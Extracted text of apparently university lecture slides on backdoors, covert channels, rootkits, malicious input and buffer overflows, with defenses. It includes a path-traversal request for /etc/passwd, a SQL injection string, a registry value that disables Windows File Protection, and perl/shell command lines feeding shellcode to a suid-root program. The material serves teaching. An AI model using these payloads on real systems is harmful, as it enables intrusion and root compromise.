Backdoors without ports

ICMP backdoor

ICMP messages don’t use ports.

Firewalls need to let some ICMP messages pass.

ICMP messages can carry a few bytes of payload.Slide153

Backdoors without ports

ICMP backdoors:

Loki

007shell

ICMP Tunnel

available at

www.packetstormsecurity.org

for free.Slide154

Non-Promiscuous Sniffing Backdoors

Sniffer in non-promiscuous mode sniffs for commands in packets destined for the local machine.Slide155

Non-Promiscuous Sniffing Backdoors

Cd00r

sniffs for TCP packets to ports X, Y, Z

the ports are not open

syn packets to X, Y, Z: sniffer activates backdoor.

backdoor opens TCP port and shovels shell.

This can be detected.

Is however unnecessary with a sniffer

“Future releases” will discontinue this practice.

Just craft special packets instead.

when backdoor closes, port is closed.Slide156

Promiscuous Sniffing Backdoors

Promiscuous sniffer can gather packets send to any machine on the same LAN segment.

IP address of suspicious traffic does not have to originate on the victim machine.Slide157

Promiscuous Sniffing BackdoorsSlide158

Promiscuous Sniffing Backdoors

Attacker has compromised the DSN server and installed a promiscuous sniffing backdoor there.Slide159

Promiscuous Sniffing Backdoor

Attacker sends a packet to the webserver at port 80.

Messages passes through the firewall.Slide160

Promiscuous Sniffing Backdoor

Sniffer on the DSN server sniffs the package.

Webserver does not know what to do with a malformed request.

Firewall:

Message to webserver.

Let pass.Slide161

Promiscuous Sniffing Backdoor

Backdoor on DSN reacts to packet.

Sends back message to attacker.

Spoofed return address from

webserver

.

Firewall lets it pass.

Firewall:

Message from webserver.

Let pass.Slide162

Covert Channels

Covert Channels hide the fact that information passes through them.

Tunneling:

Protocol that carries data from another protocol.

Example: SSH

SSH allows to set up a secure connection between two computers.

Can use this connection for insecure protocols such as ftp.

SSH protects these insecure applications.Slide163

Covert Channels

Example: LOKI

Source:

Phrack

51

Attacker install Loki server (a.k.a.

LokiD

) on victim.

Attacker runs Loki client on his own machine.

Loki tunnels attackers commands:

Attacker writes shell commands.

Loki client sends out several ICMP packets to victim that contain part of the commands.

Loki server receives ICMP packets and extracts attacker command.

Loki server executes them.

Reversely, Loki server wraps responses in ICMP messages, sends them to the Loki client, which displays them.

Port scanners or

netstat

cannot detect Loki since ICMP does not use ports.

Only traces are the Loki server running as root and ICMP messages going back and forth.Slide164

Covert Channels

Example: Reverse WWW Shell

Source:

www.thc.org

Attacker needs to install the reverse WWW shell on victim’s machine

Program spawns a child every day at a specific time.

Executes a local shell and connects to www server owned by the attacker.

This looks to a firewall like an ordinary http request.

www server sends back html resources that the reverse shell interprets as shell commands.

After a delay of 60 seconds in order to avoid exposure.Slide165

Covert Channels

Example: GoToMyPC

Commercial, remote control tool that uses reverse WWW shell technology.

Security depends on authentication strength (password).Slide166

Covert Channels

Tunnel through any TCP / IP traffic

Insert data in unused or misused fields in the protocol header of packets, such as:

IP Identification.

TCP sequence number.

TCP acknowledgment number.Slide167

Covert Channels

Tunnel through any TCP / IP traffic

Insert data in unused or misused fields in the protocol header of packets, such as:

Sequence Number.

Can even be used with bouncing:

1. Client generate TCP SYN packet with spoofed source address of bounce server.

Sequence number is set to one less than the ASCII code of the character to be transmitted.

Bounce ServerSlide168

Covert Channels

Tunnel through any TCP / IP traffic

Insert data in unused or misused fields in the protocol header of packets, such as:

Sequence Number.

Can even be used with bouncing:

2. Bounce Server answers with an ACK and SYN. The ACK contains the Sequence Number of the first packet increased by one.

Bounce Server

ReceiverSlide169

Covert Channels

Tunnel through any TCP / IP traffic

Insert data in unused or misused fields in the protocol header of packets, such as:

Sequence Number.

Can even be used with bouncing:

2. Receiver sends back a SYN/ACK or RESET, obtains the character from the Sequence Number field (now the correct character).

Bounce Server

ReceiverSlide170

Defenses against backdoors without ports

Backdoors still create running processes.

Backdoors still create network packets.

Backdoors might put MAC cards into promiscuous mode.Slide171

Trojan Horses

a program with added functionality.Slide172

Trojan Horses

Hiding names

change name (of netcat, vnc, ...)

play with windows suffixes

just_text.txt .exe

This is ONE word with a bunch of spaces in it

Use the .shs suffix (suppressed by system)

just_text.txt .shs

Shell scrap object

Windows uses the suffix to decide what to do with a file.Slide173

Trojan Horses

Hiding names

take someone else’s name.

overeager system administrators might even remove the legitimate program thinking it might be your fake program.

windows does not let you kill program with certain names.

regardless of content

csrss.exe, services.exe, smss.exe, System, System Idle Process, winlogon.exe

There might be more than one legitimate process named winlogon or csrcc.exeSlide174

Trojan Horses

Hiding names

use common typos of important files for a Trojan

ifconfig instead of ipconfig.Slide175

Trojan Horses Defenses

Pskill will kill any horse / process.

Fport and lsof will find open ports associated with the horse.

Tripwire could find substitutes for executables.

Filter email attachments that are executable.Slide176

Wrappers

Wrap malware in a good program.

A.k.a. binders, packers, exe binders, exe joiners.

AFX File Lace, Elite Wrap, Exe2vbs, PE Bundle, Perl2Exe, Saran Wrap, TOPV4, Trojan Man

Combat with

Anti-virus software

File System Integrity checkers (Tripwire)

Posted MD5, SHA1 values of downloadsSlide177

Definition of Rootkit

Rootkits

Rootkits are Trojan horse backdoor tools that modify existing operating system software so that an attacker can keep access to and hide on a machine.Slide178

Unix User Mode Rootkits

Rootkits are bundled packages consisting of:

Binary replacements that provide backdoor access.

Binary replacements that hide the attacker.

Other tools for hiding

Additional Odds and Ends

Installation ScriptSlide179

Unix User Mode Rootkits: LRK

Around since the early nineties.

version 6 is appearing.Slide180

Unix User Mode Rootkits: LRK

Backdoor Access:

Trojan login, rsh, ssh

Altered login, rshd, sshd

Same functionality, but with a special backdoor password for “rewt” that gives root access.

Remote shell on a chosen port

altered inetd, tcpd

Local privilege escalation backdoors:

chfn, chsn, passwd, suSlide181

Unix User Mode Rootkits: LRK

Binary Replacements that hide the attacker:

Processes

ps

top

pidof

killall

crontabSlide182

Unix User Mode Rootkits: LRK

Network use

netstat

ifconfig

Files

ls

find

du (omits space taken by hidden files

Events

syslogdSlide183

Unix User Mode Rootkits: LRK

Other tools for hiding:

fix

resets the MAC times of trojaned system files.

pads files so that the CRC check matches the one of the original files.

zap2, wtmp

blanks out / edits information in important files:

utmp, wtmp

stores data on users currently / ever logged in.

btmp

stores data on bad logins.

lastlog

stores data on last login for usersSlide184

Unix User Mode Rootkits: LRK

Goodies

bindshell

creates a backdoor listener

attacker connects with netcat to the listener

sniffer

linsniffer grabs IDs and passwords for ftp, telnetSlide185

Unix User Mode Rootkits: LRK

LRK Installation Script

makefile allows to choose configuration

No need to understand any of the workings of LRK

installs in seconds / few minutesSlide186

Unix User Mode Rootkits: URK

Universal Root Kit

Functions on a variety of Unix variants

Has slightly less functionality than LRKSlide187

EFS2 Manipulations to hide data

RunEFS, Defiler’s toolkit foil computer forensics investigations on a UNIX machine.

RunEFS

adds pointers of good blocks to the bad blocks inodes.

stores data in them.

Coroner’s Toolkit and derivatives don’t look at these blocks.Slide188

EFS2 Manipulations to hide data

Defiler’s toolkit destroys data that a forensics tool can harvest.

shred and other overwrite tools destroy data in a block.

Defiler’s toolkit destorys inode and directory information as well.

Necrofile scrubs inodes clean

Klismafile overwrites directory entries associated with deleted files.

This leaves blank spots in a directory.

This shows that someone used Klismafile.Slide189

Windows User Mode Rootkits

Windows File Protection (WFP)

Scans for changes to critical executables and libraries.

Compares digital signatures of 1700 files to a protected file

If WFP detects a change it searches for an authorized file in different locations.

WFP can be altered

Windows Service Pack Installations (Update.exe)

Hotfix distributions (Hotfix.exe)

Windows Update Feature

Windows Device InstallerSlide190

Windows User Mode Rootkits

Implementing user mode rootkits in windows:

Use existing interfaces

Overwrite file

Use DLL injection and API hooking to manipulate running processes in memory.Slide191

Windows User Mode Rootkits

Use existing interfaces: FakeGINA

sits between winlogon and msginaSlide192

Windows User Mode Rootkits:

Windows uses Graphical Identification aNd Authentication (GINA)

Windows allows system administrators to install third party GINA tools.

Windows ships with default GINA (msgina.dll)

Attacker sets registry key

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon

to install Fakegina

Fakegina gathers passwords, passes logon credentials to the real msgina.dll.Slide193

Windows User Mode Rootkits:

Changing Files

Not so easy, since WFP protects system files

Changing WFP Settings

WFP configuration is stored in the registry

Attacker can change system file and then

delete the version in DLL cache.

WFP cannot find a correct version.

Sends message to request system CD.

Administrator might ignore messageSlide194

Windows User Mode Rootkits

Attacker can

Alter the location of the Dllcache by modifying the registry.

WFP checks signatures and finds many mistakes.

Log is full of warnings.

Turn off WFP by changing a registry key

WFP still active until reboot.

Warning message after reboot.Slide195

Windows User Mode Rootkits

Attacker can

set the SFCDisable key to value 0xFFFFFF9D.

Completely disables WFP on Win2000

No dialog warning

Only a message that WFP is inactive.

Code Red II used method 4.Slide196

Windows User Mode Rootkits

In order to achieve stealth mode, the rootkit must alter the execution path of the OS or change the data structures directly.

Altering the execution path with

HOOKS

:Slide197

Windows User Mode Rootkits

Assume that user process lists a directory.

This involves calling various dll at the user and at root level.Slide198

Windows User Mode Rootkits

API HOOKING

The application will load kernel32.dll into its private address space.

Between memory addresses 0x00010000 and 0x7FFE0000.

Rootkit needs to overwrite any function in Kernel32.dll.

This is called

API HOOKINGSlide199

Windows User Mode Rootkits

API HOOKING Method 1:

Import Address Table Hooking

Most applications that use the Win32 API use an Import Address Table.

Each DLL is contained in the application’s image in the file system in a structure called the IMAGE_IMPORT_DESCRIPTOR

When the OS loads the application, it parses the IMAGE_IMPORT_DESCRIPTOR structure and loads each required DLL into the application’s memory.

Once the DLL is mapped, the OS locates each imported function in memory and overwrites an array with that address.Slide200

Windows User Mode Rootkits

API HOOKING Method 1:

Import Address Table Hooking

Rootkit needs to be installed in application’s memory.

Reset one of these pointers to the rootkit code.Slide201

Windows User Mode Rootkits

API HOOKING Method 2:

Inline Hooking

Replace code of functions in a DLL.

Replace first 5 bytes of function with a jump to your rootkit code.

Save the overwritten bytes in a “trampoline”

Rootkit executes the trampoline and then calls the target function

Target function eventually returns to rootkit.

Rootkit edits return values.

Rootkit passes the return values on to the calling function.Slide202

Windows User Mode Rootkits

DLL Injection

forces an exe process to accept a DLL it never requested.

This is a method to get a rootkit into a target application.

As always, assumes that the attacker has complete access to the system.Slide203

Windows User Mode Rootkits

DLL Injection

forces an exe process to accept a DLL it never requested.

Allocate space in victim process for the DLL code to occupy. (VirtualAllocEx)

Allocate space in victim process for the DLL parameters. (VirtualAllocEx)

Write name and code into the memory space of the victim process. (WriteProcessMemory)

Create a thread in the victim process (CreateRemoteThread)

Free up resources in the victim process after execution is complete.Slide204

Windows User Mode Rootkits

DLL Injection

forces an exe process to accept a DLL it never requested.

Use of registry:

Windows NT/2000/XP/2003 has a registry key HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Windows\AppInit_DLLs

Rootkit can set the value of this key to a DLL of its own that modifies target process’ IAT.Slide205

Windows User Mode Rootkits

DLL Injection allows to hijack any process

Attacker must have

Debug Programs

right on system.

Attacker uses DLL injection by

modifying a running dll that displays information on the screen.

Modified dll still calls original dll.

But does not display all the data.Slide206

Windows User Mode Rootkits

AFX Windows RootKit

Attacker uses afx windows rootkit configuration console to generate code on his machine.

Then executes it on the victim’s machine.

AFX WinRK

installs itself in the System32 directory.

Creates iexplore.dll and explorer.dll

injects explorer.dll and iexplore.dll into explorer.exe

That process displays the GUI to users.

hides network connections, files, ...Slide207

User Level Rootkit Defenses

Preventing Root Kits

Harden systems and apply patches.

Detect Root Kits

File Integrity Checking (Signatures)

Root Kit Identification

Look for specific changes made in most root kits

chkrootkit for UnixSlide208

Other types of hooking

IDT hooking

Interrupt Descriptor Table

Processor dependent table for all interrupts

Use Load IDT and Store IDT instructions

MSR hooking

SYSENTER instruction used to facilitate jumps to kernel mode

Fast switches

SSDT

IRP handlers

I/O request package, used by Windows Driver Model

GDT

Global descriptor tableSlide209

Kernel Mode Rootkits

Kernel Functions

Process and Thread

Interprocess Communication

Memory

File System

Hardware

InterruptsSlide210

Kernel Mode Rootkits

Kernel

Relies on hardware level protection

Ring 0 vs. Ring 3 for Intel CPU

Prevents user processes from accessing critical kernel data structures.Slide211

Kernel Mode Rootkit

Processes running in kernel mode belong to the kernel.

Administrator, root only invoke user mode processes.

These processes access the kernel.

Change in kernel changes behavior of all processes.

Slide212

Kernel Mode Rootkit

Kernel Mode Rootkit Capabilities

File & Directory Hiding

Process Hiding

Network Port Hiding

Promiscuous Mode Hiding

Execution Redirection

Device Interception and ControlSlide213

Kernel Mode Rootkit

Advantages over User Level Rootkit:

Changes

all

programs that try to discover something from the kernel.

Statically linked binary forensic tools no longer workSlide214

Linux Kernel

Linux allows us to look at many internal kernel structures:

/proc

Slash proc

Virtual directory, lives only in memory.

Lots of commands just grab info from /proc.

We can write to certain areas of /proc such as /proc/netSlide215

Linux Kernel

/proc

/cpuinfo

/devices

/ksmg

Log messages from kernel

/ksyms

List of all variables and functions that are exported via loadable kernel modules on the machineSlide216

Linux Kernel

/proc

/net

/stat

Statistics such as data about CPU, virtual memory, hard drive usage

/sys

Kernel variables.

/versionSlide217

Linux Kernel

/dev

Contains pointers to various devices.

/dev/kmem

Image of the running kernel’s memory

/dev/mem

Image of all the memory

Gibberish without special toolsSlide218

Linux Kernel

User mode processes use

System Calls

to access kernel.

Embedded in the systems libraries:

SYS_open

SYS_read

SYS_write

SYS_execve

SYS_setuid

SYS_get_kernel_syms

SYS_query_moduleSlide219

Linux Kernel

Located in

/usr/include/sys/syscall.h

/usr/include/bits/syscall.h

/usr/include/asm/unistd.h

Or similar locations.Slide220

Linux Kernel

System Call Table:

Array maintained by the kernel that maps individual system call names and numbers.

Located also in memory.

On harddrive:

“less /boot/System.map”

Use strace to find the system calls made by a command:

“strace ls”Slide221

Linux KernelSlide222

Linux Kernel Manipulations

Loadable Kernel Modules

Legitimate Linux / Solaris kernel feature

Add support for new hardware

Can replace existing kernel features without system reboot.Slide223

Linux Kernel Manipulations

Attacker uses

insmod

to

Alter System Call Table.

Load Kernel module.Slide224

Linux Kernel Manipulations

Evil kernel module alters SYS_execve Looks at calling process.

If process is for a program that attacker wants to redirect

Evil kernel module actually calls another program.

Attacker can wrap the true SYS_execve code.

Makes it easy to generate the altered version of SYS_execve.

This alteration defeats file integrity checking tools.

SYS_execve code is still there, only

Never called.

Called if not interfering with attacker (if wrapped).

True login function, true sshd, true … not called, but replacements are.Slide225

Linux Kernel Manipulations

Loadable kernel modules do not survive a system reboot.

Attacker alters programs in the boot process.

init

Once inserted, loadable kernel module hides changes to the altered boot processSlide226

Linux Kernel Manipulations

Mighty Adore

Loadable kernel module

Adore interface: Ava.

Kernel Intrusion System (KIS)

Comes with slick GUISlide227

Linux Kernel Manipulations

Alternative to Loadable Kernel Module

Use /dev/kmem

Attackers can use tools that read and write to kernel memory image.

Attacker can insert alternative code for system calls.

Attacker can change the System Call Table.Slide228

Linux Kernel Manipulations

Patching Kernel Image File

Simplest way:

Attacker “patches” vmlinuz file.

Contains the kernel image.Slide229

Linux Kernel Manipulations

User Mode Linux (UML)

UML at user-mode-linux.sourceforge.net

Runs entire Linux kernel inside a normal user-mode process.

Like VMWare, creates virtual environment.

Sysads, users are running in this virtual environment.Slide230

Linux Kernel Manipulations

Kernel Mode Linux Project

Allows certain user processes to run in kernel mode.

Attacker patches kernel with KML.

Attacker now has processes that run in kernel mode.

Writes code to alter system call table and system call code.Slide231

Defending the Linux Kernel

Prevention

Deny superuser access to attackers.

Patch quickly.

Change kernel so that it no longer allows loadable kernel modules.

Redhat 8.0, Redhat 9.0, Linux 2.5.41

Install Systrace to track and limit systems calls.

Use Linux Security Module in your kernel.Slide232

Defending the Linux Kernel

Kernel Mode RootKit Detection

Look for suspicious network activity

File Integrity Checkers (to catch the not quite good enough hacker).

Use

systrace

to follow system calls made by an application.

www.city.umich.edu/u/provos/systrace

(free tool).

chkrootkit

Looks for system anomalies.

Each directory has a link count. Link count should be equal to the number of files + 2.Slide233

Defending the Linux Kernel

Kernel Mode RootKit Detection

Kernel Security Therapy Anti-Trolls (Linux 2.4)

Looks for changes to the system call table.

Scans /dev/kmem

Looks for memory locations of system calls and compares with System.map

Creates fingerprints of system calls and various critical programs.Slide234

Defending the Linux Kernel

Kernel Mode RootKit Detection

Syscall Sentry

Loadable kernel module.

Checks for modules that alter the system table.

Alerts system administrator in this case.

Rootkit Hunter

www.rootkits.nl

Similar to Chkrootkit

Rootkit Revealer (windows) by Russinovich

Blacklight (windows) F-secureSlide235

Defending the Linux Kernel

Investigating potentially rootkitted systems:

Boot from a trusted CD

Helix, Knoppix, …

Boot a small linux OS

Contain Windows forensics tools.Slide236

Windows Kernel

User process calls DLL

DLL can

return to user process.

Go to csrss.exe (client server runtime)

Require kernel function Slide237

Windows Kernel

User process makes call to

ReadFile

Win32 Subsytem DLL makes call to

NtReadFile

in Ntdll.dll

Ntdll.dll translates well-documented API into rather obscure ones (that can be easily changed.)

Ntdll.dll makes a call to the

Executive

.

Executive sits inside ntoskrnl.exe

Determines which piece of kernel code is needed to handle request.

Kernel code interacts with hardware (disk).

Uses Hardware Abstraction Layer (HAL.dll).Slide238

Windows Kernel

Ntdll.dll call into kernel:

System service dispatching.

Essentially a system call.

Uses the System Service Dispatch Table.

Table indicates where the appropriate system service code is located within the kernel.Slide239
Slide240

Windows Kernel

Fewer tools allow us to look at kernel structures.Slide241

Windows Kernel: Tools

Ctrl + Alt + Del

Task Manager Process TableSlide242

Windows Kernel: Tools

System Idle Process PID 0

Just accounts for idle CPU time, not a real process.

System Process with PID 8

Contains data on all running threads in kernel mode.

Smss.exe (Session Manager)

First user mode process running on the machine.

Activated by kernel during system boot.

Analogous to the Unix Init Daemon.Slide243

Windows Kernel: Tools

Csrss.exe

Process that manages the Win32 system.

Initiated by Smss.exe.

Winlogon.exe

Let’s users log on to the system.

Smss.exe, CSrss.exe, Winlogon.exe are the first processes after boot to run in user mode.Slide244

Windows Kernel: Tools

Start

 Control Panel  Administrative Tools  Performance

Click “+” and check process

Kernel (red line) is using up time.Slide245

Windows Kernel: Tools

Process Explorer

http://www.sysinternals.com/ntw2k/freeware/procexp.shtml

Shows every running process.

Displays process hierarchy.Slide246

Windows Kernel: Tools

DependencyWalker

(www.dependencywalker.com)

Traces relationship between user processes and the user-mode DLLs.

Allows us to see when the kernel is invoked.Slide247

Manipulating Windows Kernel

Same basic strategies as in Linux:

Evil Device Driver.

Corresponds to Loadable Kernel Module

Alter running kernel in memory.

Overwrite kernel image on file.

Deploy kernel on a virtual system.

Run user-mode code at kernel level.Slide248

Manipulating Windows Kernel

Evil Device Driver

Alters system service call handling by loading a device driver.

Replaces or alters kernel functions.

Needs administrator privileges.

Needs to get evil code to run:

Overwrite existing kernel functionality

Alter system service dispatch table to point to new code.

Alter System Service Dispatcher.Slide249

Manipulating Windows KernelSlide250

Manipulating Windows Kernel

If a Windows administrator installs a device driver, Windows will check for a valid digital signature.

Attacker with root privileges just accepts the warning.Slide251

Manipulating Windows Kernel

Various alternatives to get evil device driver to run:

Evil driver can overwrite kernel.

Driver replaces existing code.

Evil driver implements various kernel functions and then changes the system dispatch table.

“Interrupt hooking” changes how the kernel handles CPU interrupts.Slide252

Manipulating Windows Kernel

Altering a Running Kernel in Memory

Instead of a device driver, directly change the kernel code in memory.Slide253

Manipulating Windows Kernel

Altering a Running Kernel in Memory:

Windows uses the

Global Descriptor Table

(GDT) to manage memory.

GDT stores division into various segments.

Store segment accessibility by ring 0/3.

Unfortunately, attacker can add a memory segment to the GDT.

Greg Hoglund Phrak 55

Explains how to bypass Security Monitor.

Add memory segment from location 0x00000000 to 0xffffffff.

This gives memory access to all user processes!Slide254

Manipulating Windows KernelSlide255

Manipulating Windows Kernel

Altering a Running Kernel in Memory:

Alternatively, manipulate \Device\PhysicalMemory object.

Alternatively, use PhysMem from sysinternals.com.

Attacker can now change system functionality.Slide256

Manipulating Windows Kernel

Patching the Kernel on the Hard Drive

Not as easy as it sounds.

System boot checks integrity of Ntoskrnl.exe.

Thus, not possible to only change the kernel file.

Have to change both the integrity checker and the kernel.

Integrity checker sits in NTLDR.

Attack: Change one instruction to jump over the integrity check.

Currently, not heavily used.Slide257

Manipulating Windows Kernel

Patching the Kernel on the Hard Drive

Patch first NTLDR to disable integrity check.

Then patch Ntoskrnl.exe to disable security access check.

Now introduce rootkit.Slide258

Manipulating Windows Kernel

Create a fake system using a virtual machine.

Variety of Virtual Machines

VMWare Virtual PC

Plex86 Bochs

But need to hide start-up message.

Unlike Linux, that is difficult.Slide259

Protecting the Windows Kernel

Prevent access to the machine.

Detect a rootkit:

Antivirus tools recognize most rootkit files before installation.

Some rootkits can be spotted afterwards.

Because developers were careless.

File Integrity CheckersSlide260

Protecting the Windows Kernel

Removing Rootkits

Analyze system without invoking the kernel.

Use a FIRE or Knoppix bootable CD-ROM and look at the hard drive.

Registry / File System.Slide261

Next Generation Malware

BIOS

Malware active before booting from a device.

Bioscentral website for tools to look at BIOS.

MicrokernelSlide262
Slide263

Malicious User Input

Computer Forensics 2013Slide264

Buffer and Heap Overflow Attacks

Standard Tool to Break Into Systems.

Used for Access Escalation.

Very Common.

Prototype of an Attack Mode.Slide265

Beware of User Input

Anonymous FTP should allow access to files selectively.

One implementation parsed the file name.

Assume /pub/acc is an allowed directory.

Request:

get /pub/acc/../../../etc/passwdSlide266

Beware of User Input

This implementation only parsed the first part of the string.

Decided access is OK

get

/pub/acc

/../../../etc/passwd

Allowed access to any file.

Took several versions before the security breach was firmly patched.Slide267

Morale:

Don’t reinvent the wheel.

Other implementations used a sandbox.

Community had learned how to get it right.

Parsing input is difficult.

Users have an incentive to be inventive.

ALL INPUT IS EVILSlide268

ALL INPUT IS EVIL

Canonical Representation Issues

Canonicalization: Translates name to standard representation.

Canonical Filenames

Napster Name Filtering.

Ordered to restrict access to certain songs.

Access was denied based on name of the song.

Users bypassed it with uncanonical song names

Deepest Chill

Deepest Chi11

Candyman

AndymanCay (in pig latin)Slide269

ALL INPUT IS EVIL

Mac OS X and Apache Vulnerability

HFS+ is case insensitive.

Apache uses text-based configuration files, that are case sensitive, to determine

Disallow access to directory scripts:

<Location /scripts>

order deny, allow

deny from all

</LocationSlide270

ALL INPUT IS EVIL

Denies user request

Allows user request

http://www.mysite.org/scripts/index.html

http://www.mysite.org/SCRIPTS/index.htmlSlide271

ALL INPUT IS EVIL

Sun StarOffice /tmp directory symbolic link vulnerability

Symbolic link: file that points to another file.

Symbolic links do not share access rights with the file they point to.Slide272

ALL INPUT IS EVIL

Sun StarOffice creates file /tmp/soffice.tmp with 0777 access mask.

Attacker links /tmp/soffice.tmp to /etc/passwd.

Root runs StarOffice

Permissions on /etc/passwd would get changed to 0777.Slide273

Canonicalization Issues

Subsystems cooperate.

First subsystem does not canonicalize input in the way the second one does.Slide274

Canonicalization Issues

Common when software make decisions on file names

8.3 representation of file names

IIS looks at extensions.

Request to ***.

asp

::$DATA is routed to asp.dll. But this is a NTFS stream, that sends the ASP source code to the user.

Trailing dots or slashes

“secretFile.doc.” is same as “secretFile.doc” for windows.Slide275

Canonicalization Issues

\\?\temp\myfile is the same as \temp\myfile

Directory traversal ../

AOL 5.0 parental controls:

Bypass restriction on URL by adding period to file name.

Secure IIS verifies incoming and outgoing data

Use hexcode: %64elete instead of delete for key words.

Use “%2e%2e/” for “../”

Two canonalization issues in Security Software!Slide276

Canonicalization Issues

Lines with carriage returns:

Assume logging of file access:

Attacker accesses file:

Log entry:

111.11.11.11 Mike 2004-02-19 13:02:12 file.txt

111.11.11.11 Mike 2004-02-19 13:02:12 file.txt

127.0.0. 1 Tom 2004-02-19 13:02:12 secret.doc

file.txt\r\n127.0.0.1\tTom2004-02-19\t13:02:12\tsecret.docSlide277

Canonicalization Issues

Escaping: Many ways to represent a character

US-ASCII

Hexadecimal escape codes

UTF-8 variable width encoding

UCS-2 Unicode encoding

HTML escape codes

Double EscapingSlide278

Canonicalization Issues

Homograph Attacks

Characters look the same, but are not

Latin letter “o”

Cyrillic character “o” (U+043E)Slide279

Morale

Software should not make decisions based on names.

If it has do, enforce name restrictions

Don’t trust relative paths.Slide280

Data Base Inputs

Don’t trust the user.

Data base access over the web lead to execution of sql code.

string sql = “select * from client where name = ‘” + name + “’”

Variable name provided by user

If name is Schwarz, this executes

string sql = “select * from client where name = ‘schwarz’”Slide281

Data Base Inputs

User enters:

Schwarz’ or 1=1

- -

The sql statement becomes

string sql = “select * from client where name = ‘schwarz’ or 1=1 - -”

Selects

all

clients

- - SQL comment, comments out everything behind.Slide282

Buffer Overflow Attacks

Stack: push and popSlide283

Buffer Overflow Attacks

Memory used by a program is split into segments.

Data segment – global program variables

BSS segment – static program variables

Heap – dynamic program variables

Stack – procedure call data and local variablesSlide284

Buffer Overflow Attack

void foo(const char* input)

{

char buf[10];

printf("Hello World\n");

}

int main(int argc, char* argv[])

{

foo(argv[1]); return 0;

}

Slide285

Buffer Overflow Attack

int main(int argc, char* argv[]) {

foo(argv[1]);

return 0;}

void foo(const char* input)

{

char buf[10];

printf("Hello World\n");

} Slide286

Buffer Overflow Attack

Works by overwriting the return address to jump somewhere else.Slide287

Buffer Overflow Attack

#pragma check_stack(off)

#include <string.h>

#include <stdio.h>

void foo(const char* input) {

char buf[10];

printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n");

strcpy(buf, input);

printf("%s\n", buf);

printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); } Slide288

Buffer Overflow Attack

void bar(void)

{

printf("Augh! I've been hacked!\n");

}

Slide289

Buffer Overflow Attack

int main(int argc, char* argv[])

{

printf("Address of foo = %p\n", foo);

printf("Address of bar = %p\n", bar);

if (argc != 2) {

printf("Please supply a string as an argument!\n");

return -1; }

foo(argv[1]); return 0;

} Slide290

Buffer Overflow Attack

Chapter05>stackoverrun.exe Hello

Address of foo = 00401000

Address of bar = 00401050

My stack looks like:

00000000

00000A28

7FFDF000

0012FEE4

004010BB

0032154D

Hello

Now the stack looks like:

6C6C6548

0000006F

7FFDF000

0012FEE4

004010BB

0032154D Slide291

Buffer Overflow Attack

Chapter05>stackoverrun.exe Hello

Address of

foo

= 00401000

Address of bar = 00401050

My stack looks like:

00000000

00000A28

7FFDF000

0012FEE4

004010BB

0032154D

Hello

Now the stack looks like:

6C6C6548

0000006F

7FFDF000

0012FEE4

004010BB

0032154D Slide292

Buffer Overflow AttackSlide293

Buffer Overflow Attack

If we overflow the buffer, then we overwrite the return address.

If we overwrite the return address, then (mostly), the memory location executed after the return does not belong to the program.

Segmentation Fault.

O.K., now we know how to write programs that crash!!!!!!!!Slide294

Buffer Overflow Attack

By looking at the program and its output, we can write the address of bar into the return address.

This will cause the execution to go to bar.Slide295

Buffer Overflow Attack

Address of BarSlide296

Buffer Overflow AttackSlide297

Buffer Overflow Attack

This is fun, but useless.

Real attack: overwrite return address so that code execution jumps into the input given by attacker.Slide298

Buffer Overflow Attack

To protect against signatures, structure input

Varying stuff such as NOP sled

execve(/bin/sh) (gives new shell with program privileges in UNIX)

Pointer to execve statement.

This pointer overwrites the return address.Slide299

Buffer Overflow Attack

Finding vulnerabilities

Script-kiddies scan target with automated tool.

Tool creator has detailed analysis of vulnerabilities.

Look for strcpy, gets, getws, memcpy memmove, scanf, …

Alternatively, just cram the application until it crashes.

Crash used to give you locations of registers.Slide300

Buffer Overflow Attack

Example: Cram in lots of input of As.

Program crashes, EIP has value 41414141.

Sign of buffer overflow.

Now try to feed more specific input.Slide301

Buffer Overflow AttackSlide302

Buffer Overflow Attack

Attack signature can be used by IDS.

Vary the NOP commands.

Many alternatives.Slide303

Buffer Overflow Attack

Protection

Make stack non-executable.

Use canary birds.Slide304

Buffer Overflow Attack

Stack Guard

MS Visual Studio

use canaries.Slide305

Buffer Overflow Attack

(Used to) Happen a lot:

Most frequent vulnerability according to CERT

MS Outlook

Vcard: Virtual business card

buffer overflow vulnerability.

IIS 5

Internet Printing ProtocolSlide306

Heap Overflow Attack

These protections do not apply to heaps, where dynamically allocated memory resides.

Some of this memory contains the addresses of functions that are going to be called.

Harder to find, harder to protect against. Slide307

Remember:

People attack computer systems because they can.Slide308

Buffer Overflow Details

This function just mismanages the stack:

int main ( int argc, char* argv[])

{ char buffer[500];

strcpy(buffer, argv[1]);

return 0;

}Slide309

Buffer Overflow Attack Details

Assume that this program is a suid root program:

$ sudo chown root vuln

$ sudo chmod +s vuln

$ ls –l vuln

-rwsr-sr-x 1 root linuxUser 4934 May Slide310

Buffer Overflow Attack Details

We need three ingredients to break this code:

NOP sled

Shell-code

Assembly language code that spawns a shell

Return address (into the beginning of the overflowing buffer)

Need to guess approximate location of the buffer

Use current stack pointer to estimate beginning of bufferSlide311

Buffer Overflow Attack Details

Put shell code into a file (called shellcode)

Use Perl scripting to provide input.

*nix example:

$ ./vuln ‘perl –e `print “\x90”x202;``cat shellcode` `perl –e print “\x78\xf9\xff\xbf”x88

For this to work, the return address must be correctly aligned on a word boundary

In this case, the shell code has 42B.

NOP sled + shell code = 244B = 61 words, which leads to correct alignment.

(Using the ` character (under tilde) gives command substitution, we thus provide ./vuln with the correct parameters.)Slide312

Buffer Overflow Attack Details

In the previous example, the buffer was big enough to contain the nop sled, the shell code and a bunch of return addresses.

If the buffer is small, we can use environmental variables.Slide313

Buffer Overflow Attack Details

Assume that we have this suid program:

int main(int argc, char argv[]) {

char buffer[5];

strcpy(buffer,argv[1]);

return 0;

}Slide314

Buffer Overflow Attack Details

In this example, the buffer is too small to contain the shell code.

Strategy:

Place the shell code into the heap.

Fill the entire buffer with a return address that points to the shell code.Slide315

Buffer Overflow Attack Details

In the bash shell

Create an environmental variable containing the shell code.

Calculate the address of the environmental variable.

Overflow the buffer with the address of that environmental variable. Slide316

Buffer Overflow Attack Details

In the bash shell, set environmental variable with export VARNAME = variable

$ export SHELLCODE=`perl –e ‘print “\x90”x100;’ ` cat shellcode ‘Slide317

Buffer Overflow Attack Details

To find the address of this environmental variable

Use gdb

